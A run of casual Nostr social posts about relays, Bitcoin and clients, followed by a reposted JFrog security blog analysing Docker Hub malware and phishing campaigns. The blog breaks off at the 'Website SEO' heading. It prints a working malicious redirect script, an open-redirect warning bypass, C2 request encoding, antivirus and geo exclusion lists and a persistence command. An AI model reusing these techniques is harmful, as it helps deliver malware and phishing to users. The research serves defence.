Like a local relay only? I guess that could work, but not sure it is the best tool for the job.


I'm proud of Florida also.


Have fun!


I'm getting this warning sometimes in the Haven relay log. It seems to be working, but not sure if I should adjust something.

"badger 2024/10/11 16:51:38 WARNING: Block cache might be too small. Metrics: hit: 4908 miss: 124992 keys-added: 721 keys-updated: 1635 keys-evicted: 711 cost-added: 20567834944 cost-evicted: 20303837239 sets-dropped: 0 sets-rejected: 122634 gets-dropped: 97280 gets-kept: 32512 gets-total: 129900 hit-ratio: 0.04
badger 2024/10/11 16:51:38 WARNING: Cache life expectancy (in seconds):
 -- Histogram:
Min value: 0
Max value: 936
Count: 711
50p: 2.00
75p: 2.00
90p: 2.00
[0, 2) 695 97.75% 97.75%
[4, 8) 1 0.14% 97.89%
[8, 16) 1 0.14% 98.03%
[32, 64) 1 0.14% 98.17%
[64, 128) 6 0.84% 99.02%
[128, 256) 6 0.84% 99.86%
[512, 1024) 1 0.14% 100.00%"


I created a python script to get it up and running in one go. I'll share it shortly.


What is everyone’s plan for the weekend?


Why is the #mempool so full right now? #bitcoin


Why are you mobile only?


Awesome!!


Agreed!


He’s got a big brain.


GM Karnage


Corn.


So we need better compatibility between databases and relays? I wonder what is the best type of database to use with Nostr’s use case.


lol


Secure DMs and groups might be how Nostr wins. Like Signal, but better: no phone number or centralized service provider needed. Actually there are no publicly visible user IDs involved, so in that regard it's similar to simplex.chat.

Unlike public messaging, DMs do not depend on the network effect. Great for onboarding people and keeping them returning with push notifications. They get a bitcoin wallet, zaps and all the other Nostr greatness on the side.

Many people don't want to let go of their existing follower base on X, but "Nostr DMs only" is easier to do. I could imagine that becoming a thing in the Bitcoin scene at first.


0xChat uses WebRTC for audio/video calls. One difference from Signal/Telegram solution is that we use NIP-100 for signaling and also support custom ICE servers.


The best days are days spent with family.


Its that time of the year!


Running Haven

https://github.com/bitvora/haven


coracle.social isn't recognizing that as a valid relay URL. Which desktop client are you using with it?


Hi, I got Haven running locally on Debian, and imported a backup successfully. It created the web of trust graph. Running a browser on the same machine, I'm not sure what wss:// relay URL to use with it. I'm not using certbot or a domain yet. #asknostr  #haven  #relay  #relays


weird


Awesome!


Thanks I’ll check it out.


Thinking about running a relay again.


This is my favorite client right now. Great work, thank you.


What are some of your favorite Nostr #groups?


Looks like fun!


I have an Alby invite if you need it.


Sometimes I can see them even better through my cell phone camera than the naked eye.


Wow, I do that too!


haha


Max Keiser?


Tune in! nostr:note1yufl07fpy9ghhewfwlzqx9yy40f4fyych633hg0wgyvky9emagkshxhjwd


lol


Thanks!


Thanks. I’ll try that out


I used Nostr.band to follow someone today and it wiped my entire follow list. Got most back so far. FYI


GM!


That’s what I was thinking.


That’s awesome!


What is TERF?


Great summary of the Nostr app ecosystem. nostr:note1hn92v2dpcyrmas40w7vyevysmqprcvndzfas0kpq4g999cn9ft4sye34rr


You have a secret admirer.


That’s true


Thanks for your time. They were great interviews.


John Dillon emails:

https://archive.is/2gNkK


I love my pets!


I'm about to watch that HBO documentary. #Satoshi


Good idea to have a watch party!


Current mood https://image.nostr.build/61e56dd470c1aca7da0db2c732448dc2376cea3bff85494d8f6514ebefd6973b.jpg


I am a Bitcoin contributor and privacy enthusiast


Awesome tools nostr:note12g0fd36j3ceu35mvy8gp5led5ey3t4s2kfrmwlh8r3dlr9hydhpsemkdyx


I like that book also


It’s been years, but I still think about him everyday.


I lost also. If we are a part of the universe, the universe doesn’t lose us when we die.


I’ve used that a lot also. It’s really cool.


That’s a good problem!


I saw yesterday people were having a hard time receiving zaps using Coinos


Twitter was always a shithole. You can’t have intelligent conversation in 140 characters. It promotes one-liners to catch attention.


Thanks!


I’m not sure yet.


Ouch


Enjoy it while you can!


One day time will be remembered as:

	•	BNA: “Before Nuclear Apocalypse”
	•	ANA: “After Nuclear Apocalypse”


Every morning you have 2 options:

1) roll over

2) get out of bed and move.

Then you have thousands and perhaps infinite choices throughout your day.

Any choice that isn’t sin is a choice of faith.

You are faith as are your every action that brings you closer to god.


Thanks for that. I’ll remember this


Yep, reported


Good point, I’ll think about that.


Apparently I wasn’t born with the gift of faith. I don’t hear anything


What about butter water?


Why?


Looks fun


Baba Yaga https://image.nostr.build/3d6f484ebdb8cea4abdf5883c71179737a42ae1b17ce4cc5fcd674da740471e1.jpg


Sent!


Same


#outside https://image.nostr.build/0523707fe636a0e5b7e691a6d87e1654ab9a28189f6e67ff0ac5d4021e4f4d1f.jpg


Twitter sucks


nostr:npub1dergggklka99wwrs92yz8wdjs952h2ux2ha2ed598ngwu9w7a6fsh9xzpc https://image.nostr.build/915975d9573e42a963d17efa955c107995cef4dc33cdb488e5700941781b7951.jpg


I missed the positivity of Nostr. Good to be back after the trip.


GN. Thanks for the welcome back.


GN Nostr https://image.nostr.build/f4011ff9834ded5eef891191b92cdbb9aff458de8a8d3926525ef79d7c769376.jpg


Those are clever


GN Gigi


Witch's Hunt • Episode 967 of Bitcoin And . . . is LIVE! on Fountain
https://fountain.fm/episode/Q0lIn5fOdGvxdZxk6HoV

originally posted at https://stacker.news/items/710895


## Previous updates

- Check them all out here: <https://highlighter.com/jeffg.fyi>

## Progress this week

It was a busy one. I've been focused on the critical path of getting the full end-to-end MLS messaging flow built into White Noise. Unfortunately, or fortunately for those that will come after, this has necessitated writing quite a bit of library code and figuring out how clients should think about storing the necessary group state and secrets.

Today I released the highly creatively named [openmls-sled-storage](https://github.com/erskingardner/openmls-sled-storage). This is a storage adapter for Sled DB, an embedded database written in Rust. This allows clients to simply give their clients a file path where they want to store the data and the library will take care of the rest with regards to MLS storage.

Another bit of library code is a customer MLS extension called NostrGroupData (again with a wildly creative title - check it out in the WN repo [here](https://github.com/erskingardner/whitenoise/blob/master/src-tauri/src/nostr_mls/nostr_group_data.rs)). This is a standardized way of storing the necessary metadata about a group that will allow it to function properly with Nostr conventions as well as basic data like Group name, description, etc. This, in specific, is the source of quite a few updates to the NIP, but overall it's going to give clients implementing MLS groups assurances that the data required is not only formatted the same, but cryptographically guaranteed to be there and respected by each group member, or the group will fork.

## White Noise

The client currently supports multiple accounts, including generating new Nostr identities on the fly. It's also loading user's contact lists, and NIP-04 DMs at the moment as well. This week I managed to build out nearly the entire group creation flow. This includes publishing and fetching key packages (kind: 443 events), inviting another user to create a group, sending welcome messages (kind: 444 events), and I've started working on both parsing those welcome messages and how to represent the groups in the UI in a way that makes reasonable sense to users.

## No showstoppers

I know this might sound insane after working on this project for several months already but I'm genuinely surprised that I've not run into any big unknown unknowns yet. Everything is coming together well and, while it's taking me some time to build it right and think carefully about where and how data is being stored and passed around, I'm very confident the client is going to be up and running in a few weeks (famous last words).

## The NIP

As I mentioned before, I've left the NIP dormant while I'm working on implementing the entire messaging flow. Once I've got the flow fully built out, I'll know all the details that need to change and I'll update the NIP.

If anyone out there wants to chat about the changes I already know are coming, let me know.

## Feedback & contributions always welcome

Thoughts? Questions? Want to contribute? Hit me up.

## P.S.

The plant in the cover image is Asparagus Officinalis. My grandfather was the only person I knew growing up that grew it and, as a result, I also grow it at home. The interesting thing about Asparagus (other than making your pee smell funny) is that it takes several years before it starts bearing edible veggies. It's a low time preference plant and further proof that good things take time.

It's a grind. That's what we're here for.


Looking good


Or, attach your comment directly to the specific code section using Git’s annotated tags or git notes, then share the annotated commit or an annotated diff with your buddy via Nostr.


Share a comment on a specific commit section by referencing the commit hash, file, and line numbers via a Nostr note, and automate the process later in Emacs using Magit to inspect commits and generate the reference.


NGMI


No algorithms


KYC?


You look thrilled.


Get outside!


Erosion of identity, erasure of memories. https://image.nostr.build/d8f00099016c04eff66de0743819c1c1179b6b961222e9d93ecbcacd0589bc12.jpg


If your parents never gave you a name, who would you be today?

#asknostr


nym


Not sure why they have nostr:npub1sg6plzptd64u62a878hep2kev88swjh3tw00gjsfl8f237lmu63q0uf63m  on the headline. I don’t think he’s a far right extremist.


Waiting to join


Probably ozempic.


And your social security number is the private key to yourself, according to the US, and it hardly has any entropy!


I wonder what the cause was?


Nice


Jelly


GN https://image.nostr.build/cd68cf106d0d6a3b932e14408d4d74d467df687002c1acc250dc8c2324cd3932.jpg


Cool nostr:note18h028rcy95dpqaterc8dnuemuw8apwwh9la9v8nj63dqphxhepsqdtz0g7


GM


You may have too much stuff still. Try a camper van and Starlink.


Hodl


I’ve done that before


He does have luscious hair


feeling good


It’s going too fast


I’ll check it out!


They haven’t even kept up with inflation.


Mind blowing when it came out.


Ouchie


Nice what kind of bike?


Wow look at that donation! nostr:note12mn2d0rdyns30jpjphq7cwzvq0jxvs8308rx0spt9gqg2vgk3fssqd54qx


Holy cow!


Ditto


Doesn't seem to be working for me on desktop.
https://image.nostr.build/3149859aad1674fa2eccfeaca38b3ad067dd9c201136e968957ca45a289d29c8.png


Is the documentary mostly just speculating about who Satoshi is, or is it technical at all?


You get Nostr at the time you deserve it. nostr:note1c43u3nltf0759prgqgvslje6c8atzr85dmt66mp6nshryc23wvwqkd3s9h


#Knifejogger
https://image.nostr.build/17a31e7e591f5cf714b5d210b76752a7c2394cf20fd790779b4e15696d1418a4.jpg


Great point


Thanks for the zap bot


I wish my doctor did this


Good to hear!


Hang in there


GN Uno


Great to be back! I missed you!


I’m back in the saddle!


Time to try out https://mostard.org (if you haven't already)


Hi! Good to see you again also


You too!


Nothing around here


Good question


Don’t mess with it


nostr:npub1vwymuey3u7mf860ndrkw3r7dz30s0srg6tqmhtjzg7umtm6rn5eq2qzugd or nostr:npub1rxysxnjkhrmqd3ey73dp9n5y5yvyzcs64acc9g0k2epcpwwyya4spvhnp8 may have a suggestion.


Never heard of it


Good question. Following


Goodnight


Is it hot or cold where you’re at?


That looks delicious


nym

I am a Bitcoin contributor and privacy enthusiast


Cool. I wish I knew how to make an Appimage for it. I tried but failed in the past. Gossip was the first client I used.


lol. I just kind of relax and wing it


lol


Maybe there will only ever be a certain percentage of the population that cares about freedom? nostr:npub1sg6plzptd64u62a878hep2kev88swjh3tw00gjsfl8f237lmu63q0uf63m


nostr:npub18m76awca3y37hkvuneavuw6pjj4525fw90necxmadrvjg0sdy6qsngq955 is the smoothest operating mobile #Nostr client right now, I think.


Yes!


Nice setup. You always have an escape on your two wheels in case things go bad


It is for me


It wasn’t always that way, but is now


Hang in there


Nice


Yea, that's dope


Feeling good
https://image.nostr.build/5e54016a72ad438e80361576028fd791900338d228f04ddf7a6867fbc07babe4.jpg


I have that problem also.


Pretty. What is it?


Coracle.social seems to be much more performant than Primal.net right now. Not sure how other folks experiences are.


Thanks for the references.


Did anyone see the satellite photo of the lights out where the hurricane went through?


Yes, good to be back.


I love the paper machete looking ones!


Looking forward to the show!

https://fountain.fm/episode/w28b2CIuYKNp21lly54J


I've never been a good saleslady.


I think you're right. The other clean one is my vanity npub. I'll switch account right quick and make this same Death Metal post.


Thanks for the reminder. It's me, I'll log out of this one and into my other one. I didn't remember which one was compromised. I remember that day a few months ago...


Thank you!


Hi Nostr! What's new!?


cool bot


Quacker News
https://quackernews.com/

> daily superautomated ai tech-bro mockery


China Has a Controversial Plan for Brain-Computer Interfaces
https://www.wired.com/story/china-brain-computer-interfaces-neuralink-neucyber-neurotech/

> At a tech forum in Beijing last week, a Chinese company unveiled a “homegrown” brain-computer interface that allowed a monkey to seemingly control a robotic arm just by thinking about it. In a video shown at the event, a monkey with its hands restrained uses the interface to move a robotic arm and grasp a strawberry. The system, developed by NeuCyber NeuroTech and the Chinese Institute for Brain Research, involves soft electrode filaments implanted in the brain, according to state-run news media outlet Xinhua. Researchers in the US have tested similar systems in paralyzed people to allow them to control robotic arms, but the demonstration underscores China’s progress in developing its own brain-computer interface technology and vying with the West. Brain-computer interfaces, or BCIs, collect and analyze brain signals, often to allow direct control of an external device, such as a robotic arm, keyboard, or smartphone. In the US, a cadre of startups, including Elon Musk’s Neuralink, are aiming to commercialize the technology.


Nearly 20% of Docker Hub Repositories Spread Malware & Phishing Scams
https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/

![Attack on Docker Hub](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30145652/Attack-on-Docker-Hub_863x300.png)

As key parts of the software ecosystem, and as partners, JFrog and Docker are working together to strengthen the software ecosystem. Part of this effort by JFrog’s security research team involves continuous monitoring of open-source software registries in order to proactively identify and address potential malware and vulnerability threats.

In former publications, we have discussed some of the malware packages we found on the [NPM](https://jfrog.com/blog/npm-manifest-confusion-six-months-later/), [PyPI](https://jfrog.com/blog/new-malware-targets-python-developers-uses-tor-for-c2-communication/) and [NuGet](https://jfrog.com/blog/attackers-are-starting-to-target-net-developers-with-malicious-code-nuget-packages/) registries by continuously scanning all major public repositories. In this blog post, **we reveal three large-scale malware campaigns we’ve recently discovered, targeting Docker Hub, that planted millions of “imageless” repositories with malicious metadata**. These are repositories that do not contain container images (and as such cannot be run in a Docker engine or Kubernetes cluster) but instead contain metadata that is malicious.

[Docker Hub](https://hub.docker.com/) is a platform that delivers many functionalities to developers, presenting numerous opportunities for development, collaboration, and distribution of Docker images. Currently, it is the number one container platform of choice for developers worldwide. It hosts over 15 million repositories.

Yet, a significant concern arises when considering the content of these public repositories. Our research reveals that nearly 20% of these public repositories (almost three million repositories!) actually hosted malicious content. The content ranged from simple spam that promotes pirated content, to extremely malicious entities such as malware and phishing sites, uploaded by automatically generated accounts.

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29173734/Img1.png)

While the Docker Hub maintainers currently moderate many of the uploaded repositories, and the repositories we found have been taken down after our disclosure, these attacks show that blocking 100% of malicious uploads is immensely challenging.

## What enabled this attack?

Docker Hub is Docker’s cloud-based registry service that hosts and distributes images. Its core concept is a repository, which includes text descriptions and metadata on top of the container data.

![Docker Hub’s library](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21123804/Image1_Docker-Hubs-library.png)_Docker Hub’s repository library (click to expand)_

While the core feature of a Docker repository is to hold a collection of Docker **images** (an application that can be updated and accessible through a fixed name), Docker Hub introduces several key enhancements. The most significant of them is community features.

For public repositories, Docker Hub acts as a community platform. It allows users to search and discover images that might be useful for their projects. Users can also rate and comment on repositories, helping others gauge the reliability and utility of available images.

To help users search and use images, **Docker Hub allows repository maintainers to add short descriptions and documentation in HTML format**, which will be displayed on the repository’s main page. Usually, repository documentation aims to explain the purpose of the image and provide guidelines for its usage.

![Example of a Legitimate Repository’s Documentation](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21123953/Image2_Example-of-a-Legitimate-Repositorys-Documentation.png)_Example of a Legitimate Repository’s Documentation_

But as Murphy’s law for security says, if something can be exploited by malware developers, it inevitably will be.

JFrog’s security research team discovered that ~4.6 million of the repositories in Docker Hub are imageless and have no content except for the repository’s documentation. A deeper inspection revealed that **the vast majority of these imageless repositories were uploaded with a malicious endgame** – their overview page tries to deceive users into visiting phishing websites or websites that host dangerous malware.

Before discussing the various malicious payloads, we will explain our methodology for finding these malicious repositories.

## Identifying the malicious repositories

We started our research by identifying anomalies in the publication patterns of Docker Hub repositories. To achieve this, we pulled all “imageless” Docker Hub repositories published in the past five years, grouped them by creation date, and plotted them on a graph:

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29173931/Img2.png)_Graph of Monthly Created Repositories_

As we can see, the usual activity on Docker Hub is quite linear, but we can see a few spikes in 2021 and 2023. If we zoom in, we see that the daily activity is well-defined and follows a working week pattern. Even visually, we can notice a working week pattern: more repositories are created on work days and fewer on weekends.

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29174340/Img3.png)_Zooming in on the 2023 anomaly_

The graph shows that when the unusual activity starts, **the number of daily-created repositories multiplies tenfold**.

We thoroughly analyzed the repositories created on days with anomalies and found many repositories deviated from the norm. The main deviation is that they didn’t contain container images, just a documentation page, making the repository unusable, as it can’t be pulled and run as a normal docker image.

![Example of a Malicious Repository](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21124325/Image3_Example-of-a-Malicious-Repository.png)_Example of a Malicious Repository_

For instance, the repository shown in the screenshot above contains a few links in the description directing users to a phishing website: https\[://\]www\[.\*\*\*\*\*\*medz\*\*\*\*\*.\]com. This site deceives unsuspecting visitors by promising to purchase prescription-only medications but then stealing their credit card details.

While all anomalous repositories were somewhat different from each other and were published by various users, most followed the same patterns. That allowed us to create a signature and group them by families (or campaigns). Once we applied this signature to all imageless repositories, we gathered a list of the hub users publishing them. We classified all repositories published by these users as malware as well.

After we plotted the campaigns on the timeline, we got an understanding of the periods when the largest malware campaigns operated.

Two were most active in the first half of 2021, publishing thousands of repositories daily. The downloader campaign made one more attempt in August 2023. The “Website SEO” campaign operated differently, consistently pushing a small number of repositories daily over three years.

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29174638/Img4.png)_Malware Repositories Registered Per Day by Campaign_

At the time of DockerCon 2023, [Docker Hub contained 15 million repositories](https://www.docker.com/blog/docker-11-year-anniversary/), so we will use this number as reference for the total Docker Hub repository count.

The total number of imageless repositories published to Docker Hub is 4.6M – 30% of all public repositories. **We were able to link 2.81M (~19%) of these repositories to these large malicious campaigns**.

In addition to the large campaigns we identified, our analysis also revealed the presence of smaller sets of repositories. These campaigns seemed mostly focused on spam / SEO, however we could not classify all of the variants of these campaigns. These smaller “campaigns” contained less than 1000 packages each. For our categorization, we allocated these smaller sets to a group labeled “Other suspicious” –

_![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30033900/Img5-1-1.png)DockerHub repositories classification_

Distribution of malicious repositories by campaigns:

|     |     |     |
| --- | --- | --- |
| **Campaign** | **\# of Repositories (% of all DH Repositories)** | **\# of Users** |
| Website SEO | 215451 (1.4%) | 194699 |
| Downloader | 1453228 (9.7%) | 9309 |
| eBook Phishing | 1069160 (7.1%) | 1042 |
| Other suspicious imageless | 76025 (0.5%) | 3689 |
| **Total** | **2.81M (18.7%)** | **208739** |

We can see different approaches in the distribution of the malicious repositories. While the “Downloader” and “eBook Phishing” campaigns create fake repositories in batches over a short time period, the “Website SEO” campaign creates a few repositories daily over the whole time frame and uses a single user per repository.

Now that we know which main malware campaigns were running on Docker Hub, let’s review their tactics and techniques in depth.

1.  [“Downloader” Campaign](#downloader-campaign)
2.  [“eBook Phishing” Campaign](#ebook-phishing)
3.  [“Website SEO” Campaign](#website-seo)

## Analysis of the Docker Hub malware campaigns

### 1\. “Downloader” Campaign

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29174853/Img6.png)_Distribution of the Downloader Campaign’s Repositories_

Repositories belonging to this campaign contain automatically generated texts with SEO text proposing to download pirated content or cheats for video games. Additionally, the text includes a link to the alleged advertised software.

This campaign operated in **two distinct rounds** (circa 2021 and 2023), while both rounds used exactly the same malicious payload (see analysis further down).

![Truck Simulator APK Para](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21125145/Image4_Truck-Simulator-APK-Para.png)

_Example of a malicious repository with a malware download link_

#### The 2021 round – Malicious domains pretending to be URL shorteners

Most URLs used in the campaign pretend to use known URL shorteners (ex. tinyurl.com), similar to [an attack campaign on Google Ads](https://asec.ahnlab.com/en/22636/) found in 2021 as well. After we tried to resolve them, we discovered that, unlike the real shorteners, these malicious shorteners don’t actually encode the URL. Instead, **they encode a file name** and resolve a link to a different domain each time a malicious resource is shut down.

For instance, during our investigation, the URL **blltly\[.\]com/1w1w1** redirected to **https\[://\]failhostingpolp\[.\]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w**. However, subsequent requests to the server triggered the generation of a new URL path each time.

Their sole purpose is to serve as a proxy for a malicious CDN.

Every subsequent request to the same shortened link brings a different URL, and if the server that’s hosting malicious files is shut down, the shortener will return a link to a new, active one.

We gathered a list of all malicious domains and compiled a table showing the correspondence between the fraudulent shorteners and their real, trustworthy versions.

|     |     |
| --- | --- |
| **Malware shortener** | **Impersonated legitimate shortener** |
| blltly\[.\]com
bltlly\[.\]com
byltly\[.\]com
bytlly\[.\]com | https://bitly.com/ |
| tinourl\[.\]com
tinurli\[.\]com
tinurll\[.\]com
tiurll\[.\]com
tlniurl\[.\]com | https://tinyurl.com |
| urlca\[.\]com
urlcod\[.\]com
urlgoal\[.\]com
urllie\[.\]com
urllio\[.\]com
urloso\[.\]com
urluso\[.\]com
urluss\[.\]com | https://urlgo.in/ |
| imgfil\[.\]com | https://imgflip.com/ |
| cinurl\[.\]com
fancli\[.\]com
geags\[.\]com
gohhs\[.\]com
jinyurl\[.\]com
miimms\[.\]com
picfs\[.\]com
shoxet\[.\]com
shurll\[.\]com
ssurll\[.\]com
tweeat\[.\]com
vittuv\[.\]com |     |

_Fake URL Shorteners Used by the Malware Campaign_

This strategy, developed in 2021, worked for some time until AV companies found a list of the links and added them to their blacklists. Currently, browsers and providers raise alerts when an attempt is made to access one of the links from the table above.

#### The 2023 round – Enhanced anti-detection techniques

The second round of the campaign, which occurred in 2023, focused on avoiding detection. The malicious repositories no longer use direct links to malicious sources. Instead, they point to legitimate resources as redirects to malicious sources.

Among these resources is a page hosted on blogger.com that contains JavaScript code that redirects to the malicious payload after 500 milliseconds:

```
<script type='text/javascript'>
  var c = new URL(window.location).searchParams.get('el');
  if(c!=null){
    setTimeout('write()', 500);
    setTimeout('Redirect()', 0);
  }else{
  	window.setTimeout(function(){
     document.getElementById('redir').href='https://gohhs.com/';
   }, 500);
  }
  function write()
  {
   document.getElementById('redir').href='https://gohhs.com/'+c;
 }
 function Redirect()
 {
   window.location.replace('https://gohhs.com/'+c);
 }
</script>
```

Another approach is a [well-known](https://isc.sans.edu/diary/How+Malware+Campaigns+Employ+Google+Redirects+and+Analytics/19843) open redirect bug in Google, which allows malicious actors to redirect users to a malicious site with a legitimate Google link using specific parameters.

Normally, the Google link **https://www\[.\]google\[.\]com/url?q=https%3A%2F%2Fexample.us%2F** doesn’t redirect a user to the target site. Instead, it shows a notice warning that they are being redirected to another domain.

![Redirect Notice](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21130320/Image5_Redirect-Notice.png)_Example of a Redirection Notice_

However, it’s possible to add the undocumented parameter **usg** to disable this warning. The parameter contains a hash or signature that causes google.com to redirect to the target site automatically –

**PROTOCOL:**https**HOST:**www.google.com**PATH:**/url**PARAMS:**

|     |     |     |
| --- | --- | --- |
| **q** | \=  | https://urlin.us/2vwNSW |
| **sa** | \=  | D   |
| **sntz** | \=  | 1   |
| **usg** | \=  | AOvVaw1A6cBKittNvLawLc7IB9M0 |

This redirect leads to the target site. At the time of writing, the target sites were gts794\[.\]com and failhostingpolp\[.\]ru. These sites lure the victim to download an advertised software. However, regardless of the name on the landing page, the downloaded file is always the same archive with an EXE installer. As we can see in the [AnyRun analysis](https://app.any.run/tasks/0d2a678c-4678-42ae-b824-e9e74adde227/), the malware installs a binary called **freehtmlvalidator.exe** into the directory “%LOCALAPPDATA%\\HTML Free Validator”

![Malicious Payload Served in the Downloader Campaign](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21131632/Image6_Malicious-Payload-Served-in-the-Downloader-Campaign.png)_Malicious Payload Served in the Downloader Campaign_

#### Analysis of the “Downloader” campaign payload

The payload of the “Downloader” campaign is a malicious executable that most antivirus engines detect as a generic Trojan.

![Security Vendor Analysis](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21131829/Image7_Security-Vendor-Analysis.png)_Detection of the Served Payload by Antiviruses_

The malware is written with the successor to the once-popular Delphi environment: Embarcadero RAD Studio 27.0.

The malware communicates with the C2C server **http://soneservice\[.\]shop/new/net\_api** using HTTP POST requests. The request is a JSON message XORed with the three-byte key “787” and encoded in hex.

```
{
    "5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A",
    "465B0F": "664eed76ed570dbb4cba2bdcb3479b5f",
    "4E531F4B": "en"
}
```

The fields of the JSON are encoded in the same manner but using a different key: “**\*2k**”. Knowing this, we can decode the request to

```
{
    "type": "getinitializationdata",
    "lid": "664eed76ed570dbb4cba2bdcb3479b5f",
    "data": "en"
}
```

The first command sent by the malware to the server is **getinitializationdata**. It contains two parameters: the malware’s unique identifier (“lid”) and the system locale identifier. The latter informs the server about the language setting of the infected system, enabling customized responses. The malware uses this unique identifier for all subsequent server requests.

In response, the server provides layout and localization details specific to Delphi, which are adapted based on the system’s language setting.

Afterwards, the malware sends an **initialization** request passing information about the infected system. The information includes OS-specific information, hardware, installed browser, version of the .NET framework, running processes, and available network adapters. The server, in return, provides a link to the alleged promised software and a list of offers. The promised software part is represented by URL and file name:

```
    "file": {
        "download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "size": 64918480
    },
```

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29175144/Img7.png)_Malware’s Communication with the C2 Server_

The “offers” section of the response contains a list of the links to executables, too. Additionally, it outlines various conditions that must be met to drop executables. The most significant conditions are:

*   **excludeGeoTargeting** contains codes of countries where the malware shouldn’t be installed

    ```
    "excludeGeoTargeting": [
        "RU",
        "AZ",
        "AM",
        "BY",
    ]
    ```

*   **blackAvList** contains a list of antivirus applications that will also prevent the malware from being installed

    ```
    "blackAvList": [
        "avast",
        "avg",
        "avira",
        "nod32",
        "mcafeeep",
        "windef",
    ]
    ```

*   A process blacklist (wasn’t observed in payload sample)
*   A list of Windows registry entries that must be present on the target system (wasn’t observed in payload sample)

Considering that the malware already sends information about the system to the server, we find these conditions on the client a bit redundant. Also, the response contains fields that were never used by the malware binary but are typical for advertisement networks, such as **price, offer\_id**, and **advertiser\_id**. From these fields we can assume that this malware operation is part of a broader ecosystem, potentially involving adware or monetization schemes that benefit from the distribution and installation of third-party software. Building on this understanding, we further assume that these request parameters are likely copied and embedded into the software from a dubious advertising network API, where third parties may pay for the distribution of their executables.

```
"advertiser_id": 7,
"groupOffer_id": 43,
"price": 0.064,
"price_usd": 0.064,
"tarif": 0.08,
"use_balance": "0",
```

After processing the response, the malware shows an installation dialog that proposes to the user to download and install the software promised in the malicious Docker Hub repository –

![Download Assistant](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21133848/Image8_Download-Assistant.png)_Installation Dialog Shown by Malware_

After accepting, in addition to installing the promised software, the malware just downloads all the malicious binaries from offer and schedules their persistent execution with the command **“SCHTASKS.exe /Create /TN <random\_name> /RL HIGHEST /SC DAILY”**.

### 2\. “eBook Phishing” Campaign

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29175243/Img8.png)_Malware repositories registered per day by ebook\_phishing campaign_

Nearly a million repositories created in the middle of 2021 turned Docker Hub into a “pirated eBook library”. These spam repositories all offered free eBook downloads containing randomly generated descriptions and download URLs –

![img. example of the phishing ebook repository](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150009/Image9_img-example-of-the-phishing-ebook-repository.png)_Example of an eBook phishing repository_

All links eventually redirect the user to the same page: **http://rd\[.\]lesac\[.\]ru/**.

![ebook downloading landing page](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150108/Image10_ebook-downloading-landing-page.png)_eBook download landing page_

After promising a free full version of the eBook, the website chooses a random page from the set available for the user’s IP and redirects them there. The following steps depend on the user’s country, but usually, it’s a form asking the user to enter credit card information.

Undoubtedly, the sole intent behind this action is phishing, aiming to steal credit card details and unknowingly enroll the user in a subscription service. The footer on these target sites usually has barely-readable text, saying the subscription charges 40-60€ per month.

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29175348/Img9.png)

![Some phishing sites from the campaign](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150303/Image11_Some-phishing-sites-from-the-campaign.png)![Some phishing sites from the campaign](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150333/Image12_Some-phishing-sites-from-the-campaign.png)

_Some phishing sites from the campaign (click to expand)_

### 3\. “Website SEO” Campaign

